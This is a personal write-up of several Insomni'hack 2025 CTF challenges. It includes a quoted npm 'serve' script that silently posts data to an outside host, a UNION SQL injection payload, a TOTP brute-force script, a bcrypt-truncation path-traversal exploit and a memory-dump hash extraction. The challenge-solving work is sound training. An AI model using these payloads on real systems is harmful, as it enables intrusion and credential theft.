Insomni'hack 2025 CTF write-up post banner

Insomni'hack 2025 CTF write-up

| 10 min read

The Insomni’hack 2025 CTF is a CTF hosted during the Insomni’hack conference in Lausanne, Switzerland. You had to register yourself so that you can attend to the on-site CTF. As a beginner in CTFs I decided to mostly take the easy challenges. The CTF was from March 14 (5pm UTC) to March 15 (4am UTC) 2025.

Compared to last year I was able to solve less challenges, I missed the opportunity to solve two challenges due to my lack of concentration at 2am

I mostly took part to the CTF because I was there, I know my level in CTFs is not that good as I lack of practice.. Looking back at it, I managed to only solve the easy challenges with tow of them the next day due to being a bit tired (I guess?). It makes me definitely want to improve, hence why I will try to get more into the CTFs - maybe Space Heroes will run a CTF this year…?

Welcome To Insomni’hack

This challenge was pretty straightforward. There was a repository to clone and we were supposed to run the npm run serve command after cloning it.

Considering the welcome challenge of last year, I did not wanted to run that npm run command, as I knew it would likely do some funny stuff. Looking at the package.json file, this confirmed by supposition:

{
  "name": "insomnihack-grid",
  "version": "1.0.0",
  "description": "Interactive grid game for Insomnihack",
  "main": "index.js",
  "scripts": {
    "serve": "wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{\"tata\":\"shame_W3XeaSn$QMEcvgu6!!\"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir=\"src\" && lite-server --baseDir=\"src\"",
    "build": "mkdir -p dist && cp -r src/* dist/"
  },
  "keywords": ["insomnihack", "grid", "game"],
  "author": "Your Name",
  "license": "MIT",
  "devDependencies": {
    "lite-server": "^2.6.1"
  }
}

As it can be seen, it would execute the following command

wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{"tata":"shame_W3XeaSn$QMEcvgu6!!"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir="src" && lite-server --baseDir="src"

To be fair I did not see the shame_W3XeaSn$QMEcvgu6!! JSON data at the beginning, so I’ve completely skipped it and moved to the src/script.js file that was available. There I cleaned up the file to only focus on more relevant data, again I did not search for flag in the file.

The resulting cleaned up script flag resulted in the following:

// Grid Configuration
// [REMOVED]

function calculateGridDimensions() {
  // [REMOVED]
}

// Progress Tracking
// [REMOVED]

function createGridCell() {
  // [REMOVED]
}

function handleGridClick() {
  // [REMOVED]
}

function updateProgress(numberIndex) {
  // [REMOVED]
}

function updateTotalProgress() {
  // [REMOVED]
}

function showCompletion() {
    // Create completion overlay
    const overlay = document.createElement('div');
    overlay.className = 'completion-overlay';
    
    // Create completion container
    const completionContainer = document.createElement('div');
    completionContainer.className = 'completion-logo';
    
    // Create COMPLETED text
    const completedText = document.createElement('span');
    completedText.className = 'completion-text';
    completedText.textContent = 'COMPLETED';
    
     const flagContainer = document.createElement('div');
    flagContainer.className = 'completion-flag-container';
    
    // Create flag
    const flag = document.createElement('div');
    flag.className = 'completion-flag';

    // Encoded flag
    const decode = (str) => {
        return decodeURIComponent(escape(atob(str)));
    };
    
    const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ==";
    flag.textContent = decode(encodedFlag);
    
    // Assemble the elements
    flagContainer.appendChild(flag);
    completionContainer.appendChild(completedText);
    completionContainer.appendChild(flagContainer);
    overlay.appendChild(completionContainer);
    document.body.appendChild(overlay);
}


function initializeGrid() {
  // [REMOVED]
}

// Event Listeners
// [REMOVED]

// Hover Effect
// [REMOVED]

// Resize handler with debounce
// [REMOVED]

// Initial grid creation
// [REMOVED]

In that resulting code, the following line can be seen:

const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ==";

This looks like base64, decoding it will result in INS{W3lCoM3_T0_1ns0mnih4cK_2025!!}.

v0l4til3

We were given a quite big 20250312.mem file. Looking at the name of the challenge and the size of the file, it was clear it was required to use volatility.

I’ve ran the windows.info command against the file and got the following result:

~/CTF/INS25/v0l4til3 🕙 23:33:35 venv vol -f 20250312.mem windows.info Volatility 3 Framework 2.11.0 Progress: 100.00 PDB scanning finished Variable Value

Kernel Base 0xf80299800000 DTB 0x1aa000 Is64Bit True IsPAE False layer_name 0 WindowsIntel32e memory_layer 1 FileLayer KdVersionBlock 0xf8029a60a7c0 Major/Minor 15.26100 MachineType 34404 KeNumberProcessors 2 SystemTime 2025-03-12 18:43:14+00:00 NtSystemRoot C:\WINDOWS NtProductType NtProductWinNt NtMajorVersion 10 NtMinorVersion 0 PE MajorOperatingSystemVersion 10 PE MinorOperatingSystemVersion 0 PE Machine 34404 PE TimeDateStamp Wed Aug 29 17:06:46 2085

The challenge description mentioned that the flag was the hash of the flag_user. Running the windows.hashdump command against the file resulted in the following:

Userridlmhashnthash
Administrator500aad3b435b51404eeaad3b435b51404eee02bc503339d51f71d913c245d35b50b
Guest501aad3b435b51404eeaad3b435b51404ee31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount503aad3b435b51404eeaad3b435b51404ee31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount504aad3b435b51404eeaad3b435b51404ee6f1c4ae67632ca364e7d105de442e569
flag_user1001aad3b435b51404eeaad3b435b51404ee3fa7a000465823e4976000ac1ca9f2d1

Putting the hash in the INS{} flag format resulted in the flag: INS{3fa7a000465823e4976000ac1ca9f2d1}.

Crack the gate

This challenge was presented in a form of a website; unfortunately I didn’t take any pictures of the website as I mainly was using Burp Suite.

We were also given the source code of the app. Before looking at the source code I’ve seen the login page, so decided to try a simple SQL injection, which failed due to characters being invalid. So I then decided to look at the source code.

Looking at the code, it revealed the /search endpoint with a query parameter to send along. Looking at the source, it was clear this was where the SQL injection was:

@app.route("/search", methods=["GET"])
def search():
    allowed_IPs = request.headers.get("Allowed-IPs", "")
    whitelisted_ip = "localhost"
    if whitelisted_ip in allowed_IPs:
        query = request.args.get("query", "")
        if '"' in query or '*' in query:
            flash("Invalid characters detected in the search query.", "danger")
            return render_template("search.html")
        results = []
        if query:
            conn = sqlite3.connect("db/database.db")
            cursor = conn.cursor()

             # SQL injection below
            sql = f"SELECT * FROM items WHERE item_name LIKE '%{query}%'"

            cursor.execute(sql)
            results = cursor.fetchall()
            conn.close()
        return render_template("search.html", results=results)
    else:
        return render_template("403.html"), 403

There also was a check for the Allowed-IPs header being localhost, so the request made with Burp Suite also had to contain that header.

So I requested the endpoint with the following query:

' OR 1=1 UNION SELECT username,password,password FROM users; -- 

There was no need to dump the tables/columns names, as they were to be seen in the code for the /login endpoint:

query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))

The request resulted in the following result:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Search</title>
</head>
<body>
    <h1>Search Items</h1>
    <form method="get" action="/search">
        <input type="text" name="query" placeholder="Search for items..." required>
        <button type="submit">Search</button>
    </form>
    <h2>Search Results:</h2>
        <ul>
            <li><b>Item:</b> Laptop <br><b>Description:</b> A powerful gaming laptop.</li>
            <!-- Many more items... -->
            <li><b>Item:</b> admin <br><b>Description:</b> f!hLRXozzFhP3hM?</li>
        </ul>
</body>
</html>

The password seemed unhashed, as it isn’t in a common hashing algorithm format. After logging in with admin:f!hLRXozzFhP3hM?, a MFA page is shown.

I’ve seen that a JWT was added to the storage, so I decided to tamper it to contain "mfa_verified":true instead; without success as the token was signed and checked.

Looking at the code, I’ve seen this weird line:

totp = pyotp.TOTP(TOTP_SECRET, digits=4, interval=240)

It was explicitly overwriting the default 6 digits and 30 seconds valid OTP time. So this made me directly think, bruteforce! Wrote a quick script to bruteforce the submission of the token with the previous, valid, JWT.

import requests

cookies = {
    "session": "eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJtZmFfdmVyaWZpZWQiOmZhbHNlfQ.Z9SoeQ.d2e8568uF_fMeCTfppxK64eGO8w"
}

for n in range(10000):
    totp_code = str(n).zfill(4)
    print(f"Trying TOTP Code {totp_code}")
    r = requests.post(
        "https://crackthegate.insomnihack.ch/mfa",
        cookies=cookies,
        data={"totp_code": totp_code},
    )
    if "Enter TOTP Code:" not in r.text:
        print(r.text)
        break

After some time I got a valid TOTP code and the page showed the flag: INS{auth_bypassed_4dm1n}.

EG101

When connecting to the given host and port, we are welcomed with text like the following:

P = 9359920040557521287640188225332795304009466497049561443299088499643424200245588313061025165619294040667209797774612400137263138479335798194382908649492031, g = 3384066920714075626041222632115897899444517401444095957347004384777304561656691330065281612933459609521435296935887334868529742606809787303668660304308405
I'm Bob, I want the flag, here's g^x (mod p): 9276512785211037679173774447116113570690592352483125544287802724428191311103080319635189268810074958440535195114282820003326005815844057492966567318565496

After looking at the source code, the flag is converted to hexadecimal and multiplied by KK, where K=(gx)ymodpK = (gx)^y \mod p.

gx = int(message.split(" ")[-1].strip())
# Alice now have g^x (mod p) from Bob, she will fist compute g^y (mod p), then K = (g^x)^y (mod p)
y = random.randint(2, PRIME - 2)
gy = mod_exp(g, y, PRIME)
K = mod_exp(gx, y, PRIME)

message = msg_to_int("INS{NOT_THE_REAL_FLAG}")
Km = (message * K) % PRIME
send_msg(f"I'm Alice, here's g^y (mod p): {gy} , here's Km (mod p): {Km}\n", client_socket)

The data we can give will be gxgx, considering 1x1^x is alays equals to 11, if we send 11, we get a resulting KmKm to be flag1flag \cdot 1, so we get the plain flag.

Sending 11 gave the following back:

I'm Alice, here's g^y (mod p): ..., here's Km (mod p): 27427016322199114720750856505491100766666527541905277

Then just convert 27427016322199114720750856505491100766666527541905277 to hex (494E537B4E4F545F5448455F5245414C5F464C41477D) and then to ASCII, which will result in the flag: INS{NOT_THE_REAL_FLAG}.

Hawkta

There is a website with four links to various hawk pictures. The endpoints are the following:

<a href="/?file=assets/data/img/cooper-s-hawk-profile-583855629-d89e191a88d1484db08800f067ba98e8.jpg&hash=$2a$12$NmPFGriPq4VEFdx7y4XKde67/DFQgQVk/Cz.HxGWi0PV3aSk/JT12">Hawk1</a>
<a href="/?file=assets/data/img/harris_hawk_web.jpg&hash=$2a$12$hPNstQ8F.EBu8z2/EDaXROPakN5L/hix0SUQQG6I6RPu/BcvSBDmC">Hawk2</a>
<a href="/?file=assets/data/img/Hawk-146809760-612x612.jpg&hash=$2a$12$dp0lDL1FuN6irg2LB7j.EOFKte1313GSgz5DpBeTAtBY4gyCMd4KS">Hawk3</a>
<a href="/?file=assets/data/img/Hawk-534214314-612x612.jpg&hash=$2a$12$5zq3d97d5wg1vUvoquZOA.JAeM1.778eWnDgSx/ymj9v1D8d4kLEC">Hawk4</a>
<a href="/?file=assets/data/img/Red-shouldered_Hawk_Buteo_lineatus_-_Blue_Cypress_Lake_Florida.jpg&hash=$2a$12$qsfcrstGdzpRVDNH5Dq//uSK6/Z6ZSBCca7fIeoyRBBdgQk8q3rX6">Hawk5</a>

There is a file and hash parameter sent along with the request, looking at the given source code, they are hard-coded:

// Authorized images are matched to their bcrypt hash values for maximum security
$AUTHORIZED_IMGS = [
    '$2a$12$NmPFGriPq4VEFdx7y4XKde67/DFQgQVk/Cz.HxGWi0PV3aSk/JT12' => 'assets/data/img/cooper-s-hawk-profile-583855629-d89e191a88d1484db08800f067ba98e8.jpg',
    '$2a$12$qsfcrstGdzpRVDNH5Dq//uSK6/Z6ZSBCca7fIeoyRBBdgQk8q3rX6' => 'assets/data/img/Red-shouldered_Hawk_Buteo_lineatus_-_Blue_Cypress_Lake_Florida.jpg',
    '$2a$12$hPNstQ8F.EBu8z2/EDaXROPakN5L/hix0SUQQG6I6RPu/BcvSBDmC' => 'assets/data/img/harris_hawk_web.jpg',
    '$2a$12$dp0lDL1FuN6irg2LB7j.EOFKte1313GSgz5DpBeTAtBY4gyCMd4KS' => 'assets/data/img/Hawk-146809760-612x612.jpg',
    '$2a$12$5zq3d97d5wg1vUvoquZOA.JAeM1.778eWnDgSx/ymj9v1D8d4kLEC' => 'assets/data/img/Hawk-534214314-612x612.jpg', 
    //'$2a$12$v5UW4B3/j6F5vymG0tRDx.iSz7RFlrVlH3Om3zC3QfqiG.InCuKMW' => 'flag.txt'
];

When doing a request, the parameters are checked against the values of the $AUTHORIZED_IMGS variable.

// Check if the file is authorized and the hash is valid
if (isset($AUTHORIZED_IMGS[$provided_hash]) && password_verify($file_name, $provided_hash)) {
    header("Content-Type: image/png");
    echo readfile($file_name); // Clear LFI vulnerability
    exit();
}

The LFI vulnerability was quite clear to me, I still tried to execute a request with hash=$2a$12$v5UW4B3/j6F5vymG0tRDx.iSz7RFlrVlH3Om3zC3QfqiG.InCuKMW and file=flag.txt; this failed.

One thing to note with bcrypt is that it only cares about the first 72 bytes. So using password_verify with the hash being, for example, the hash of 72 times A and the plaintext to verify against being 72 times A and then anything you want, will always return 1 (so valid). Example:

<?php

// 72 times A
$password = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
$hashed = password_hash($password, PASSWORD_DEFAULT);

$plaintext = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HELLO WORLD!";
echo password_verify($plaintext, $hashed); // 1

?>

So we can take this at our advantage, looking at the file names there are two that are over 72 characters long:

  • assets/data/img/cooper-s-hawk-profile-583855629-d89e191a88d1484db08800f067ba98e8.jpg
  • assets/data/img/Red-shouldered_Hawk_Buteo_lineatus_-_Blue_Cypress_Lake_Florida.jpg

We can take one of them, pass the hash=<hash> and append ../../../../../flag.txt to the file parameter to get the content of the flag.txt file. My browser not liking having to render an image as some weird test, I had to use Burp Suite:

HTTP/1.1 200 OK
Host: localhost
Date: Sat, 15 Mar 2025 09:44:06 GMT
Connection: close
X-Powered-By: PHP/8.2.28
Content-Type: image/png

INS{NOT_THE_REAL_FLAG}
23